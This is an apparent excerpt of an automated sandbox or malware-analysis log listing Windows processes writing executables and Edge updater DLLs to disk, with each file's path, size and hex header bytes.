(x86)\Microsoft\Edge\Application\ONENOTEM.EXE": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "ONENOTEM.EXE" wrote 58880 bytes starting with PE header signature to file "C:\Program Files\Google\Chrome\Application\ONENOTEM.EXE": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "svchost.exe" wrote 53456 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\MicrosoftEdgeWebview2Setup.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdate.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000180100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\CopilotUpdate.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdate.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000200100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateBroker.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateOnDemand.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000180100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeComRegisterShellARM64.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\psmachine.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000200100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\psmachine_64.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000180100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\psmachine_arm64.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000180100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\psuser.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000200100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\psuser_64.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000180100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\psuser_arm64.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000180100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateCore.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_am.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ar.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_bg.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_bn.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ca.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_cs.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_da.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_de.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_el.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_en.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_en-GB.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_es.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_es-419.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_et.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_fa.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_fi.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_fil.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_fr.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_gu.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_hi.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_hr.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_hu.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_id.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_is.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_it.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_iw.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ja.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_kn.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ko.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_lt.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_lv.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ml.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_mr.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ms.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_nb.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_nl.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_pl.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_pt-BR.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_pt-PT.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ro.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ru.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sk.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sl.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sr.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sv.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ta.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_te.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_th.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_tr.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_uk.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ur.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_vi.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_zh-CN.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... 